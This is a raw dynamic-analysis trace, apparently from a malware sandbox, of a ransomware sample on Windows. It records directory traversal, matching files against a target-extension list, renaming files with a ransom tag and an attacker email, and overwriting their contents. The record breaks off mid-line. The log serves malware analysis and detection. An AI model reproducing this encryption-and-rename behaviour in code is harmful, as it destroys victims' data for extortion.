[0075.445] lstrlenW (lpString="hwrusash.dat") returned 12 [0075.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0075.536] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=4120784) returned 1 [0075.536] CloseHandle (hObject=0x1c8) returned 1 [0075.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0075.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0075.537] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0075.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0075.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0075.540] lstrlenW (lpString=".doc") returned 4 [0075.540] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0075.540] lstrlenW (lpString=".docx") returned 5 [0075.540] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0075.540] lstrlenW (lpString=".pdf") returned 4 [0075.540] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0075.540] lstrlenW (lpString=".xls") returned 4 [0075.540] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0075.540] lstrlenW (lpString=".xlsx") returned 5 [0075.540] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0075.540] lstrlenW (lpString=".ppt") returned 4 [0075.541] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0075.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0075.541] lstrlenW (lpString=".zip") returned 4 [0075.541] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0075.541] lstrlenW (lpString=".rar") returned 4 [0075.541] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0075.541] lstrlenW (lpString=".bz2") returned 4 [0075.541] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0075.541] lstrlenW (lpString=".7z") returned 3 [0075.541] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0075.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0075.541] lstrlenW (lpString=".dbf") returned 4 [0075.542] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0075.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0075.542] lstrlenW (lpString=".1cd") returned 4 [0075.542] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0075.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0075.542] lstrlenW (lpString=".jpg") returned 4 [0075.542] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0075.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0075.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0075.542] lstrlenW (lpString=".doc") returned 4 [0075.542] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0075.542] lstrlenW (lpString=".docx") returned 5 [0075.542] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0075.543] lstrlenW (lpString=".pdf") returned 4 [0075.543] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0075.543] lstrlenW (lpString=".xls") returned 4 [0075.543] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0075.543] lstrlenW (lpString=".xlsx") returned 5 [0075.543] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0075.543] lstrlenW (lpString=".ppt") returned 4 [0075.543] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0075.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0075.543] lstrlenW (lpString=".zip") returned 4 [0075.543] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0075.543] lstrlenW (lpString=".rar") returned 4 [0075.543] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0075.543] lstrlenW (lpString=".bz2") returned 4 [0075.543] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0075.544] lstrlenW (lpString=".7z") returned 3 [0075.544] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0075.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0075.544] lstrlenW (lpString=".dbf") returned 4 [0075.544] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0075.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0075.544] lstrlenW (lpString=".1cd") returned 4 [0075.544] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0075.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0075.544] lstrlenW (lpString=".jpg") returned 4 [0075.544] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0075.545] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0075.545] lstrlenW (lpString="ipscsy.xml") returned 10 [0075.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0075.546] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=2556) returned 1 [0075.546] CloseHandle (hObject=0x1c8) returned 1 [0075.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0075.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0075.547] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0075.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0075.547] lstrlenW (lpString=".doc") returned 4 [0075.547] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0075.547] lstrlenW (lpString=".docx") returned 5 [0075.547] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0075.547] lstrlenW (lpString=".pdf") returned 4 [0075.547] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0075.547] lstrlenW (lpString=".xls") returned 4 [0075.548] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0075.548] lstrlenW (lpString=".xlsx") returned 5 [0075.548] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0075.548] lstrlenW (lpString=".ppt") returned 4 [0075.548] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0075.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0075.548] lstrlenW (lpString=".zip") returned 4 [0075.548] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0075.548] lstrlenW (lpString=".rar") returned 4 [0075.548] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0075.548] lstrlenW (lpString=".bz2") returned 4 [0075.548] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0075.548] lstrlenW (lpString=".7z") returned 3 [0075.548] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0075.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0075.549] lstrlenW (lpString=".dbf") returned 4 [0075.549] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0075.556] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=2578) returned 1 [0075.556] CloseHandle (hObject=0x1c8) returned 1 [0075.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0075.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0075.557] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0080.057] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 1 [0080.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0080.059] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0x0) returned 1 [0080.059] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0080.059] ReadFile (in: hFile=0x1a4, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0080.068] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0080.069] ReadFile (in: hFile=0x1a4, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0080.086] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0080.086] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0080.086] ReadFile (in: hFile=0x1a4, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0080.457] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0080.457] WriteFile (in: hFile=0x1a4, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2dbfcb0, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2dbfcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0081.548] SetEndOfFile (hFile=0x1a4) returned 1 [0081.548] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x40000) returned 0x4052078 [0081.558] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0081.558] WriteFile (in: hFile=0x1a4, lpBuffer=0x4052078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4052078*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0081.563] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0081.563] WriteFile (in: hFile=0x1a4, lpBuffer=0x4052078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4052078*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0081.570] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0081.570] WriteFile (in: hFile=0x1a4, lpBuffer=0x4052078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4052078*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0081.577] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4052078 | out: hHeap=0x4c0000) returned 1 [0081.577] CloseHandle (hObject=0x1a4) Thread: id = 13 os_tid = 0x7d8 [0059.119] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x3600050 [0059.120] lstrlenW (lpString="C:") returned 2 [0059.120] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2effd00 | out: lpFindFileData=0x2effd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x50be38 [0059.122] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0059.122] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0059.122] lstrlenW (lpString="$Recycle.Bin") returned 12 [0059.122] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0059.122] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x3610058 [0059.123] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0059.123] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51ae90 [0059.123] FindNextFileW (in: hFindFile=0x51ae90, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.124] FindNextFileW (in: hFindFile=0x51ae90, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0059.124] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0059.124] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0059.124] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0059.124] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0059.124] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x3621068 [0059.125] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0059.125] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51aed0 [0059.126] FindNextFileW (in: hFindFile=0x51aed0, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.126] FindNextFileW (in: hFindFile=0x51aed0, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0059.126] lstrlenW (lpString="desktop.ini") returned 11 [0059.126] lstrlenW (lpString=".1cd") returned 4 [0059.126] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0059.126] lstrlenW (lpString=".3ds") returned 4 [0059.126] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0059.126] lstrlenW (lpString=".3fr") returned 4 [0059.126] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0059.127] lstrlenW (lpString=".3g2") returned 4 [0059.127] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0059.127] lstrlenW (lpString=".3gp") returned 4 [0059.127] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0059.127] lstrlenW (lpString=".7z") returned 3 [0059.127] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0059.127] lstrlenW (lpString=".accda") returned 6 [0059.127] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0059.127] lstrlenW (lpString=".accdb") returned 6 [0059.127] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0059.128] lstrlenW (lpString=".accdc") returned 6 [0059.128] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0059.128] lstrlenW (lpString=".accde") returned 6 [0059.128] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0059.128] lstrlenW (lpString=".accdt") returned 6 [0059.128] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0059.128] lstrlenW (lpString=".accdw") returned 6 [0059.128] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0059.128] lstrlenW (lpString=".adb") returned 4 [0059.128] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0059.128] lstrlenW (lpString=".adp") returned 4 [0059.128] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0059.128] lstrlenW (lpString=".ai") returned 3 [0059.128] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0059.128] lstrlenW (lpString=".ai3") returned 4 [0059.128] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0059.129] lstrlenW (lpString=".ai4") returned 4 [0059.129] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0059.129] lstrlenW (lpString=".ai5") returned 4 [0059.129] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0059.129] lstrlenW (lpString=".ai6") returned 4 [0059.129] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0059.129] lstrlenW (lpString=".ai7") returned 4 [0059.129] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0059.129] lstrlenW (lpString=".ai8") returned 4 [0059.129] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0059.129] lstrlenW (lpString=".anim") returned 5 [0059.129] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0059.129] lstrlenW (lpString=".arw") returned 4 [0059.129] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0059.129] lstrlenW (lpString=".as") returned 3 [0059.130] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0059.130] lstrlenW (lpString=".asa") returned 4 [0059.130] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0059.130] lstrlenW (lpString=".asc") returned 4 [0059.130] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0059.130] lstrlenW (lpString=".ascx") returned 5 [0059.130] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0059.130] lstrlenW (lpString=".asm") returned 4 [0059.130] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0059.130] lstrlenW (lpString=".asmx") returned 5 [0059.130] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0059.130] lstrlenW (lpString=".asp") returned 4 [0059.130] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0059.130] lstrlenW (lpString=".aspx") returned 5 [0059.130] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0059.131] lstrlenW (lpString=".asr") returned 4 [0059.131] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0059.131] lstrlenW (lpString=".asx") returned 4 [0059.131] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0059.131] lstrlenW (lpString=".avi") returned 4 [0059.131] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0059.131] lstrlenW (lpString=".avs") returned 4 [0059.131] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0059.131] lstrlenW (lpString=".backup") returned 7 [0059.131] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0059.131] lstrlenW (lpString=".bak") returned 4 [0059.131] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0059.131] lstrlenW (lpString=".bay") returned 4 [0059.131] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0059.131] lstrlenW (lpString=".bd") returned 3 [0059.131] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0059.132] lstrlenW (lpString=".bin") returned 4 [0059.132] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0059.132] lstrlenW (lpString=".bmp") returned 4 [0059.132] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0059.132] lstrlenW (lpString=".bz2") returned 4 [0059.132] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0059.132] lstrlenW (lpString=".c") returned 2 [0059.132] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0059.132] lstrlenW (lpString=".cdr") returned 4 [0059.132] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0059.132] lstrlenW (lpString=".cer") returned 4 [0059.132] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0059.132] lstrlenW (lpString=".cf") returned 3 [0059.132] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0059.132] lstrlenW (lpString=".cfc") returned 4 [0059.133] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0059.133] lstrlenW (lpString=".cfm") returned 4 [0059.133] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0059.133] lstrlenW (lpString=".cfml") returned 5 [0059.133] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0059.133] lstrlenW (lpString=".cfu") returned 4 [0059.133] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0059.133] lstrlenW (lpString=".chm") returned 4 [0059.133] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0059.133] lstrlenW (lpString=".cin") returned 4 [0059.133] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0059.133] lstrlenW (lpString=".class") returned 6 [0059.134] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0059.134] lstrlenW (lpString=".clx") returned 4 [0059.134] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0059.134] lstrlenW (lpString=".config") returned 7 [0059.134] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0059.134] lstrlenW (lpString=".cpp") returned 4 [0059.134] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0059.134] lstrlenW (lpString=".cr2") returned 